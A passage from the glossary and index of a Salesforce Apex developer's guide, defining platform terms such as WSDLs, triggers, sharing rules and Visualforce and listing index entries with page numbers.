Developer Edition A free, fully-functional Salesforce.com organization designed for developers to extend, integrate, and develop with the Force.com platform. Developer Edition accounts are available on developer.force.com. Developer Force The Developer Force website at developer.force.com provides a full range of resources for platform developers, including sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments. E Email Alert Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval process and sent to designated recipients, either Salesforce.com users or others. Email Template A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a customer service request has been received. Email templates can be personalized with merge fields, and can be written in text, HTML, or custom format. Enterprise Edition A Salesforce.com edition designed for larger, more complex businesses. Enterprise WSDL A strongly-typed WSDL for customers who want to build an integration with their Salesforce.com organization only, or for partners who are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL is that it only works with the schema of a single Salesforce.com organization because it is bound to all of the unique objects and fields that exist in that organization's data model. Entity Relationship Diagram (ERD) A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Force.com platform) and define the relationships between them. ERD diagrams for key Salesforce.com objects are published in the Force.com Web Services API Developer's Guide. F Facet A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet. Field A part of an object that holds a specific piece of information, such as a text or currency value. Field Dependency A filter that allows you to change the contents of a picklist based on the value of another field. Field-Level Security Settings that determine whether fields are hidden, visible, read only, or editable for users based on their profiles. Available in Enterprise, Unlimited, and Developer Editions only. Force.com The salesforce.com platform for building applications in the cloud. Force.com combines a powerful user interface, operating system, and database to allow you to customize and deploy applications in the cloud for your entire enterprise.

405

Glossary

Force.com IDE An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse development environment. Force.com Migration Tool A toolkit that allows you to write an Apache Ant build script for migrating Force.com components between a local file system and a Salesforce.com organization. Force.com Sites A feature that allows access to Force.com applications by users outside of a Salesforce.com organization. Force.com Web Services API A Web services-based application programming interface that provides access to your Salesforce.com organization's information. Foreign key A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another. G Getter Methods Methods that enable developers to display database and other computed values in page markup. Methods that return values. See also Setter Methods. Global Variable A special merge field that you can use to reference data in your organization. A method access modifier for any method that needs to be referenced outside of the application, either in the Force.com Web Services API or by other Apex scripts. Governor limits Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce.com users. Gregorian Year A calendar based on a twelve month structure used throughout much of the world. H HTTP Debugger An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy servers running on your local machine and allow you to inspect and author individual requests. I ID See Salesforce.com Record ID. Import Wizard A tool for importing data into your Salesforce.com organization, accessible from Setup.

406

Glossary

Instance The cluster of software and hardware represented as a single logical server that hosts an organization's data and runs their applications. The Force.com platform runs on multiple instances, but data for any single organization is always consolidated on a single instance. Integration User A Salesforce.com user defined solely for client apps or integrations. Also referred to as the logged-in user in a Force.com Web Services API context. ISO Code The International Organization for Standardization country code, which represents each country by two letters. J Junction Object A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. K No Glossary items for this entry. L Length Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field. Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point, for example, 123.98 for an entry of 3. List View A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce.com provides some predefined views. In the console, the list view is the top frame that displays a list view of records based on specific criteria. The list views you can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within the console. Local Name The value stored for the field in the users or account s language. The local name for a field is associated with the standard name for that field. Locale The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale. In Professional, Enterprise, Unlimited, and Developer Edition organizations, a users individual Locale setting overrides the organizations Default Locale setting. In Personal and Group Edition organizations, the organization-level locale field is called Locale, not Default Locale.

407

Glossary

Long Text Area Data type of custom field that allows entry of up to 32,000 characters on separate lines. Lookup Relationship A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that have been linked to it. A lookup relationship has no effect on record deletion or security, and the lookup field is not required in the page layout. M Managed Package A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization can create a single managed package that can be downloaded and installed by many different organizations. They differ from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the developer. Manual Sharing Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to the record any other way. Many-to-Many Relationship A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are implemented through the use of junction objects. Master-Detail Relationship A relationship between two different types of records that associates the records with each other. For example, accounts have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup relationship field required on the page layout. Metadata Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses XML to describe metadata. Metadata-Driven Development An app development model that allows apps to be defined as declarative blueprints, with no code required. Apps built on the platformtheir data models, objects, forms, workflows, and moreare defined by metadata. Metadata WSDL A WSDL for users who want to use the Force.com Metadata API calls. Multitenancy An application model where all users and apps share a single, common infrastructure and code base. MVC (Model-View-Controller) A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data in a user interface (the view), and ways of manipulating that data with business logic (the controller).

408

Glossary

N Namespace In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers onAppExchange, similar to a domain name. Salesforce.com automatically prepends your namespace prefix, followed by two underscores (__), to all unique component names in your Salesforce.com organization. Native App An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external services or infrastructure. O Object An object allows you to store information in your Salesforce.com organization. The object is the overall definition of the type of information you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your organization will have multiple records that store the information about specific instances of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information about Mary Johnson's configuration issue. Object-Level Help Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit pages, as well as list views and related lists. Object-Level Security Settings that allow an administrator to hide whole tabs and objects from a user so that he or she does not know that type of data exists. On the platform you set object-level access rules with object permissions on user profiles. One-to-Many Relationship A relationship in which a single object is related to many other objects. For example, an account may have one or more related contacts. Organization A deployment of Salesforce.com with a defined set of licensed users. An organization is the virtual space provided to an individual customer of salesforce.com. Your organization includes all of your data and applications, and is separate from all other organizations. Organization-Wide Defaults Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can make it so that any user can see any record of a particular object that is enabled in their user profile, but that they need extra permissions to edit one. Outbound Call Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center. Outbound Message Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Outbound messaging is configured in the Salesforce.com setup menu. Then you must configure the external endpoint. You can create a listener for the messages using the Force.com Web Services API.

409

Glossary

P Package A group of Force.com components and applications that are made available to other organizations through the AppExchange. You use packages to bundle an app along with any related components so that you can upload them to AppExchange together. Package Version A package version is a set of components uploaded in a package. It is denoted by a version number that has the format majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch versions for your organization, contact salesforce.com. Unmanaged packages are not upgradeable so each package version is simply a set of components for distribution. A package version has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Parameterized Typing Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual data types upon construction. Partner WSDL A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work across multiple Salesforce.com organizations. With this WSDL, the developer is responsible for marshaling data in the correct object representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular data model or Salesforce.com organization. Contrast this with the Enterprise WSDL, which is strongly typed. Personal Edition Product designed for individual sales representatives and single users. Platform Edition A Salesforce.com edition based on either Enterprise Edition or Unlimited Edition that does not include any of the standard Salesforce.com CRM apps, such as Sales or Service & Support. Primary Key A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record. This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one table with the values of the primary key in another. Production Organization A Salesforce.com organization that has live users accessing data. Professional Edition A Salesforce.com edition designed for businesses who need full-featured CRM functionality. Prototype The classes, methods and variables that are available to other Apex scripts.

410

Glossary

Q Query Locator A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that was returned. Query String Parameter A name-value pair that's included in a URL, typically after a '?' character. For example:
http://na1.salesforce.com/001/e?name=value

R Record A single instance of a Salesforce.com object. For example, John Jones might be the name of a contact record. Record ID See Salesforce.com Record ID. Record Name A standard field on all Salesforce.com objects. Whenever a record name is displayed in a Force.com application, the value is represented as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does not have to be a unique value. Recycle Bin A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar. Relationship A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a specified field in both objects are used to link related data; for example, if one object stores data about companies and another object stores data about people, a relationship allows you to find out which people work at the company. Running User The user whose security settings determine what data is displayed in a dashboard. Because only one running user is specified per dashboard, everyone who can access the dashboard sees the same data, regardless of their personal security settings. S SaaS See Software as a Service (SaaS). S-Control Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form. Attention: S-controls have been superseded by Visualforce pages. After January 2010 salesforce.com will remove the ability to create and distribute new s-controls. Existing s-controls will remain unaffected.

411

Glossary

IdeaExchange A forum where salesforce.com customers can suggest new product concepts, promote favorite enhancements, interact with product managers and other customers, and preview what salesforce.com is planning to deliver in future releases. Visit IdeaExchange at ideas.salesforce.com. Salesforce.com Record ID A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.com. Salesforce.com SOA (Service-Oriented Architecture) A powerful capability of Force.com that allows you to make calls to external Web services from within Apex. Sandbox Organization A nearly identical copy of a Salesforce.com production organization. You can create multiple sandboxes in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your production environment. Session ID An authentication token that is returned when a user successfully logs in to Salesforce.com. The Session ID prevents a user from having to log in again every time he or she wants to perform another action in Salesforce.com. Different from a record ID or Salesforce.com ID, which are terms for the unique ID of a Salesforce.com record. Session Timeout The amount of time a single session ID remains valid before expiring. While a session is always valid for a user while he or she is working in the Web interface, sessions instantiated via the API expire after the duration of the session timeout, regardless of how many transactions are still taking place. Setup An administration area where you can customize and define Force.com applications. Access Setup through the Setup link at the top of Salesforce.com pages. Sharing Allowing other users to view or edit information you own. There are different ways to share data: Sharing Modeldefines the default organization-wide access levels that users have to each others information and whether to use the hierarchies when determining access to data. Role Hierarchydefines different levels of users such that users at higher levels can view and edit information owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings. Sharing Rulesallow an administrator to specify that all information created by users within a given group or role is automatically shared to the members of another group or role. Manual Sharingallows individual users to share a specific account or opportunity with other users or groups. Apex-Managed Sharingenables developers to programmatically manipulate sharing to support their applications behavior. See Apex-Managed Sharing.

Sharing Model Behavior defined by your administrator that determines default access by users to different types of records. Sharing Rule Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created by users within a given group or role.

412

Glossary

Sites Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com organizationwithout requiring users to log in with a username and password. SOAP (Simple Object Access Protocol) A protocol that defines a uniform way of passing XML-encoded data. sObject Any object that can be stored in the Force.com platform. Software as a Service (SaaS) A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor takes responsibility for the daily maintenance, operation, and support of the application and each customer's data. The service alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT resources. Services can be delivered using the SaaS model to any market segment. SOQL (Salesforce.com Object Query Language) A query language that allows you to construct simple but powerful query strings and to specify the criteria that should be used to select data from the Force.com database. SOSL (Salesforce.com Object Search Language) A query language that allows you to perform text-based searches using the Force.com API. Standard Object A built-in object included with the Force.com platform. You can also build custom objects to store information that is unique to your app. System Log A separate window console that can be used for debugging code snippets. Enter the code you want to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also displays debugging information. T Tag In Salesforce.com, a word or short phrases that users can associate with most records to describe and organize their data in a personalized way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Tags can also be accessed through the Force.com Web Services API. In Salesforce CRM Content, a descriptive label that helps classify and organize content across workspaces. Users can view a list of all files or Web links that belong to a particular tag or filter search results based on a tag or tags. Test Method An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit no data to the database, and can be executed by the runTests() system method either through the command line or in an Apex IDE, such as the Force.com IDE. Trigger A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in bulk modethat is, they process several records at once, rather than just one record at a time.

413

Glossary

Trigger Context Variable Default variables that provide access to information about the trigger and the records that caused it to fire. U Unit Test A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it works correctly. See also Test Method. Unlimited Edition Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the entire enterprise through the Force.com platform. Unmanaged Package A package that cannot be upgraded or controlled by its developer. URL (Uniform Resource Locator) The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com. V View The user interface in the Model-View-Controller model, defined by Visualforce. View State Where the information necessary to maintain the state of the database between requests is saved. Visualforce A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce.com pages, or developers can associate their own logic with a controller written in Apex. Visualforce Page A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be associated with a CSS style. W Web Service A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are written in different languages, or are geographically remote from each other. WebService Method An Apex class method or variable that can be used by external systems, such as an s-control or mash-up with a third-party application. Web service methods must be defined in a global class. Workflow and Approval Actions Workflow and approval actions consist of email alerts, tasks, field updates, and outbound messages that can be triggered by a workflow rule or approval process.

414

Glossary

Wrapper Class A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across components. Examples of wrapper classes in Salesforce.com include theAJAX Toolkit, which is a JavaScript wrapper around the Salesforce.com Web Services API, wrapper classes such as CCritical Section in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes created as part of a client integration application that accesses Salesforce.com using the Force.com Web Services API. WSDL (Web Services Description Language) File An XML file that describes the format of messages you send and receive from a Web service. Your development environment's SOAP client uses the Salesforce.com Enterprise WSDL or Partner WSDL to communicate with Salesforce.com using the Salesforce.com Web Services API. X No Glossary items for this entry. Y No Glossary items for this entry. Z No Glossary items for this entry.

415

Index

Index
A
abstract definition modifier 85 Access modifiers 91 Action class instantiation 305 methods 305 understanding 305 addError(), triggers 76 After triggers 65 AJAX support 81 ALL ROWS keyword 60 Anchoring bounds 324 Annotations 107 deprecated 109 future 107 isTest 108 Anonymous blocks transaction control 61 understanding 80 Answers class 353 Ant tool 361 AnyType data type 27 Apex designing 119 testing 121, 122 Apex from WSDL 184 Apex managed sharing 151 Apex scheduler best practices 80 schedulable interface 77 testing 77 Apex scripts system context 105 using sharing 105 Apex sharing reasons database object 264 recalculating 157 understanding 152 API calls 387 API calls, Web Services custom 177 executeAnonymous 80 retrieveCode 364 runTests 126 AppExchange managed package versions 170, 171 Approval processes approval methods 254 example 341 overview 340 ProcessRequest class 342 ProcessResult class 342 ProcessSubmitRequest class 343 ProcessWorkitemRequest class 343 Arrays and lists 34 Assignment statements 49 Async Apex 107 Asynchronous callouts 107

B
Batch Apex database object 264 interfaces 143 schedule 76 using 143 Batch size, SOQL query for loop 53 Before triggers 65 Best practices Apex 119 Apex scheduler 80 batch Apex 149 programming 119 testing 127 triggers 119 WebService keywords 177 Binds 59 Blob data type 27 Blob methods 208 Boolean data type 27 Boolean methods 209 Bounds, using with regular expressions 324 Bulk processing and triggers retry logic and inserting records 70 understanding 69 Business hours class 351

C
callout timeouts 181 Callouts asynchronous 107 execution limits 166 limit methods 268 calls runTests 126 Calls compileAndTest 387 compileClasses 391 compileTriggers 392 executeanonymous() 393 runTests() 394 Capturing groups 325, 328 Case sensitivity 40 Casting collections 111 understanding 109 Chaining, constructor 103 Character escape sequences 27 Chunk size, SOQL query for loop 53 Classes action 305 annotations 107 answers 353 Apex 288 API version 117 business hours 351 casting 109 collections 111 community 353 constructors 90

416

Classes (continued) Crypto 338 declaring variables 88 defining 84, 112 defining from a WSDL 179 defining methods 89 differences with Java 111 email 289 EncodingUtil 339 example 85 exception 302 Http 335 HttpRequest 335 HttpResponse 337 ideas 353 IdeaStandardController 306 IdeaStandardSetController 308 inbound email 297 interfaces 98 IsValid flag 112 matcher 323 message 312 messaging 289 methods 89 naming conventions 113 pageReference 313 pattern 323 precedence 115 ProcessRequest 342 ProcessResult 342 ProcessSubmitRequest 343 ProcessWorkitemRequest 343 properties 95 security 114 selectOption 317 shadowing names 114 site 356 standardController 319 standardSetController 321 type resolution 116 understanding 84 using constructors 90 variables 88 Visualforce 104 with sharing 105 without sharing 105 Code security 380 Collections casting 111 classes 111 iterating 37 iteration for loops 53 lists 33 maps 33 sets 33 size limits 166 Comments 48 Community class answers 353 compileAndTest call 366, 387 compileAndTest, see deploy call 362 compileClasses call 366, 391 compileTriggers call 366, 392 Components behavior versioning 172, 173 Compound expressions 42

Constants about 41 defining 103 Constructors chaining 103 using 90 Context variables considerations 68 trigger 67 Controllers, Visualforce custom 304 extending 304 Conventions 14 Conversions 39 ConvertLead database method 190 Crypto class 338 Custom labels 30 Custom settings examples 253 methods 251

Index

D
Data types converting 39 primitive 27 sObject 30 understanding 27 Database EmptyRecycleBinResult 267 Database error object methods 267 Database methods 255 convertLead 190 delete 193 insert 194 Undelete 197 Update 199 Upsert 201 Database objects methods 264 understanding 264 Database.Batchable 143, 157 Database.BatchableContext 144 Date data type 27 methods 209 Datetime data type 27 methods 211 Deadlocks, avoiding 61 Debug console 163 Debug log, retaining 163 Debugging API calls 164 classes created from WSDL documents 187 Hello World example 22 log 163 Decimal data type 27 methods 215 rounding modes 218 Declaring variables 39 Defining a class from a WSDL 179 Delete database method 193 Delete statement 193 DeleteResult object 193 deploy call 362

417

Deploying additional methods 366 Force.com IDE 361 understanding 360 using Force.com Migration Tool 361 deprecated annotation 109 Deprecating 171 Describe field result, methods 246 Describe information access all fields 138 access all sObjects 138 permissions 135 understanding 135 Describe results field 246 fields 137 sObjects 136 Design patterns 119 Developer Edition 10 Development security 380 Development process 10 DML operations behavior 206 convertLead 190 error object 267 exception handling 206 execution limits 166 limit methods 268 understanding 189 Unsupported sObjects 205 DML statements delete 193 insert 194 merge 196 undelete 197 update 199 upsert 201 DMLException methods 287 DMLOptions methods 264 Do-while loops 51 Documentation typographical conventions 14 Double data type 27 methods 220 Dynamic Apex 134 Dynamic DML 140 Dynamic SOQL 139 Dynamic SOSL 139

EmptyRecycleBinResult methods 267 EncodingUtil class 339 Encryption 338 Enterprise Edition, deploying Apex 360 Enums methods 238 understanding 37 Error object DML 267 methods 267 Escape sequences, character 27 Events, triggers 66 Exceptions class 302 constructing 303 DML 206 methods 287 throw statements 62 trigger 76 types 62, 285 uncaught 166 understanding 62 variables 304 executeanonymous call 80 executeanonymous() call 393 Execution governors email warnings 169 understanding 166 Execution order, triggers 73 Expressions 41 extending sObject and list 48 operators 42 regular 323, 326 understanding 41

Index

F
Features, new 14 Field-level security and custom API calls 177 Fields access all 138 accessing 31 accessing through relationships 32 describe results 137, 246 sobject dereferencing 56 formula 56 that cannot be modified by triggers 75 tokens 137 validating 33 Final keyword 41, 103 For loops list or set iteration 53 SOQL query 53 locking 61 traditional 52 understanding 52 FOR UPDATE keyword 60 Force.com managed sharing 151 Force.com IDE 361 Force.com IDE, deploying Apex 366 Force.com Migration Tool 361 Foreign keys and SOQL queries 58 Formula fields, dereferencing 56 Functional tests for SOSL queries 125

E
Eclipse, deploying Apex 366 Email attachments 296 inbound 297 outbound 289, 296 Email service InboundEmail object 300 InboundEmail.BinaryAttachment object 301 InboundEmail.Header object 301 InboundEmail.TextAttachment object 301 InboundEmailResult object 302 InboundEnvelope object 302 understanding 297 EmailException methods 287

418

Functional tests (continued) running 126 understanding 123 Future annotation 107

G
Get accessors 95 global access modifier 85, 91 Governors email warnings 169 execution 166 limit methods 268 Groups, capturing 325

H
Headers PackageVersionHeader 401 heap size execution limits 166 Heap size limit methods 268 Hello World example adding tests 22 understanding 19 How Apex works 9 Http class 335 HttpRequest class 335 HttpResponse class 337

Integer data type 27 methods 221 Interfaces 98 Iterable 101 Iterator 101 parameterized typing 99 Schedulable 76 Introducing Apex 7 Invoking Apex 64 isAfter trigger variable 67 isBefore trigger variable 67 isDelete trigger variable 67 isExecuting trigger variable 67 isInsert trigger variable 67 IsTest annotation 108 isUndeleted trigger variable 67 isUpdate trigger variable 67 IsValid flag 70, 112 Iterators custom 101 Iterable 102 using 101

Index

K
Keywords ALL ROWS 60 final 41, 103 FOR UPDATE 60 instanceof 103 reserved 378 testMethod 123 this 103 transient 104 webService 177 with sharing 105 without sharing 105

I
ID data type 27 Ideas class 353 IdeaStandardController class instantiation 306 methods 306 understanding 306 IdeaStandardSetController class instantiation 308 methods 309 understanding 308 Identifiers, reserved 378 IDEs 11 If-else statements 50 In clause, SOQL query 59 InboundEmail object 298, 300 InboundEmail.BinaryAttachment object 301 InboundEmail.Header object 301 InboundEmail.TextAttachment object 301 InboundEmailResult object 302 InboundEnvelope object 302 Initialization code instance 92, 94 static 92, 94 using 94 Inline SOQL queries locking rows for 60 returning a single record 58 Insert database method 194 Insert statement 194 Instance initialization code 92, 94 methods 92, 94 variables 92, 94 instanceof keyword 103

L
L-value expressions 41 Language concepts 15 Language constructs 26 LeadConvertResult object 192 Limit clause, SOQL query 59 Limitations, Apex 13 Limits code execution 166 code execution email warnings 169 determining at runtime 268 methods 268 Limits methods understanding 124 List iteration for loops 53 List size, SOQL query for loop 53 Lists about 33 array notation 34 defining 33 expressions 48 iterating 37 methods 228 sObject 35 Literal expressions 41 Local variables 92 Locking statements 60

419

Log, debug 163 Long data type 27 methods 221 Loops do-while 51 execution limits 166 for 52 list or set iteration 53 SOQL query 53 locking 61 traditional 52 understanding 50 while 51

M
Managed AppExchange packages 115 Managed packages package versions 171 version settings 116 versions 170, 171, 172, 173 Managed sharing 150 Manual sharing 151 Maps creating from sObject arrays 37 iterating 37 methods 232 understanding 36 Matcher class bounds 324 capturing groups 325 example 325 methods 328 regions 324 searching 324 understanding 323 using 323 Matcher methods See Also Pattern methods 328 Math methods 270 Merge statements triggers and 72 understanding 196 Message class instantiation 312 methods 313 severity enum 313 understanding 312 Message severity 313 Metadata API call deploy 362 Methods access modifiers 91 action 305 ApexPages 254 approval 254 blob 208 boolean 209 custom settings 251 database 255 convertLead 190 delete 193 undelete 197 Update 199 Upsert 201 date 209 datetime 211

Methods (continued) decimal 215 DescribeSObjectResult object 242 DMLOptions 264 double 220 enum 238 error object 267 exception 285 field describe results 246 IdeaStandardController 306 IdeaStandardSetController 309 instance 92, 94 integer 221 limits 268 list 228 long 221 map 36, 232 matcher 328 math 270 message 313 namespace prefixes and 115 package 274 pageReference 314 passing-by-reference 89 pattern 326 QueryLocator 264 recursive 89 schema 239 search 275 SelectOption 317 sendEmail 289, 296 set 35, 235 setFixedSearchResults 125 sObject 239 standard 207 StandardController 319 StandardSetController 321 static 92, 93 string 222 system 276 test 283 time 226 user-defined 89 userInfo 284 using with classes 89 void with side effects 89 XML Reader 345 XmlStreamWriter 349

Index

N
Namespace precedence 115 prefixes 115 type resolution 116 Nested lists 33 New features in this release 14 new trigger variable 67 newMap trigger variable 67 Not In clause, SOQL query 59

O
Object data types 30 lists 35 Object data type 27

420

old trigger variable 67 oldMap trigger variable 67 Opaque bounds 324 Operations DML 189 DML exceptions 206 Operators precedence 47 understanding 42 Order of trigger execution 73 Overloading custom API calls 178 Overview 8

P
Package methods 274 Packages, namespaces 115 PackageVersionHeader headers 401 PageReference class instantiation 313 methods 314 navigation example 316 query string example 315 understanding 313 Pages, Visualforce 304 Parameterized typing 99 Parent-child relationships SOQL queries 58 understanding 41 Passing-by-reference 89 Pattern class example 325 understanding 323 using 323 Pattern methods 326 Permissions and custom API calls 177 Person account triggers 75 Polymorphic, methods 89 Precedence, operator 47 Primitive data types 27 private access modifier 85, 91 Processing, triggers and bulk 66 ProcessRequest class 342 ProcessResult class 342 ProcessSubmitRequest class 343 ProcessWorkitemRequest class 343 Production organizations, deploying Apex 360 Profiles, setting access to classes 114 Programming patterns triggers 119 Properties 95 protected access modifier 85, 91 public access modifier 85, 91

Recovered records 73 Recursive methods 89 triggers 65 Regions and regular expressions 324 Regular expressions bounds 324 grouping 328 regions 324 searching 328 splitting 326 understanding 323 Relationships, accessing fields through 32 Release notes 14 Reserved keywords 378 retrieveCode call 364 Role hierarchy 151 rollback method 61 Rounding modes 218 RowCause field values 151 runAs method package versions 173 using 123, 173 runTests call 126 runTests() call 394

Index

S
Salesforce.com API version 117 Sample application code 369 data model 367 overview 367 tutorial 367 Sandbox organizations, deploying Apex 360 SaveResult object 195, 200 Schedulable interface 77 Schedule Apex 76 Schema methods 239 Search methods 275 Security code 380 formulas 382 Visualforce 382 Security and custom API calls 177 Security, class 114 SelectOption class 317 example 318 instantiation 317 methods 317 Set accessors 95 setFixedSearchResults method 125 Sets iterating 37 iteration for loops 53 methods 235 understanding 35 setSavepoint method 61 Severity, messages 313 Sharing access levels 152 Apex managed 150 reason field values 151 recalculating 157 understanding 150 Sharing and custom API calls 177 Sharing rules 151

Q
Queries 55 execution limits 166 SOQL and SOSL 41 working with results 56 Quick start 14

R
Reason field values 151 Recalculating sharing 157 Record ownership 151

421

Site class 356 size trigger variable 67 SOAP and overloading 178 sObjects access all 138 accessing fields through relationships 32 data types 30 dereferencing fields 56 describe result methods 242 describe results 136 expressions 48 fields 31 formula fields 56 lists 35 methods 239 that cannot be used together 206 that do not support DML operations 205 tokens 136 validating 33 SOQL injection 139 SOQL queries Apex variables in 59 dynamic 139 execution limits 166 expressions 41 for loops 53, 61 foreign key 58 inline, locking rows for 60 large result lists 57 limit methods 268 locking 61 parent-child relationship 58 preventing injection 139 querying all records 60 understanding 55 working with results 56 SOSL injection 140 SOSL queries Apex variables in 59 dynamic 139 execution limits 166 expressions 41 limit methods 268 preventing injection 140 testing 125 understanding 55 working with results 56 Special characters 27 Standard methods understanding 207 StandardController example 320 methods 319 StandardController class instantiation 319 understanding 319 StandardSetController example 322 methods 321 StandardSetController class instantiation 321 understanding 321 Start and stop test 124 Statements assignment 49 exception 62 try-catch-finally 62 execution limits 166

Statements (continued) if-else 50 locking 60 method invoking 89 Static initialization code 92, 94 methods 92, 93 variables 92, 93 Strings data type 27 methods 222 Syntax case sensitivity 40 comments 48 variables 39 System architecture, Apex 9 System Log console anonymous blocks 80 using 163 System methods namespace prefixes 115 static 276 System namespace prefix 115 System validation 73

Index

T
Test methods Visualforce 283 Testing best practices 127 example 128 governor limits 124 runAs 123, 173 what to test 122 testMethod keyword 123 Tests for SOSL queries 125 isTest annotation 108 running 126 understanding 121, 122 this keyword 103 Throw statements 62 Time data type 27 Time methods 226 Tokens fields 137 sObjects 136 Tokens, reserved 378 Tools 361 Traditional for loops 52 Transaction control statements triggers and 66 understanding 61 Transient keyword 104 Transparent bounds 324 Trigger-ignoring operations 75 Triggers adding tests 22 API version 117 bulk exception handling 206 bulk processing 66 bulk queries 69, 70 common idioms 69 context variable considerations 68 context variables 67 defining 70

422

Triggers (continued) design pattern 119 events 66 exceptions 76 execution order 73 fields that cannot be modified 75 ignored operations 75 isValid flag 70 maps and sets, using 69 merge events and 72 recovered records 73 syntax 66 transaction control 61 transaction control statements 66 undelete 73 understanding 65 unique fields 70 Try-catch-finally statements 62 Tutorial 14 Tutorial, sample application 367 Type resolution 116 Types Primitive 27 sObject 30 understanding 27 Typographical conventions 14

Variables (continued) using with classes 88 Version settings 116 API version 117 package versions 118 Very large SOQL queries 57 virtual definition modifier 85 Visualforce ApexPages methods 254 controllers 304 pages 304 VisualForce message severity 313 security tips 380 Visualforce controllers maintaining view state 104 transient keyword 104 Visualforce, when to use 12

Index

W
Walk-thru, sample application 367 Web Services API calls compileAndTest 361 compileClasses 366 compileTriggers 366 compleAndTest 366 custom 177 executeAnonymous 80 retrieveCode 364 runTests 126 transaction control 61 when to use 12 WebService methods considerations 177 exposing data 177 overloading 178 understanding 177 When to use Apex 12 Where clause, SOQL query 59 While loops 51 with sharing keywords 105 without sharing keywords 105 Workflow 73 Writing Apex 10 WSDL example 184 WSDLs creating an Apex class from 179 debugging 187 generating 177 mapping headers 186 overloading 178 runtime events 186

U
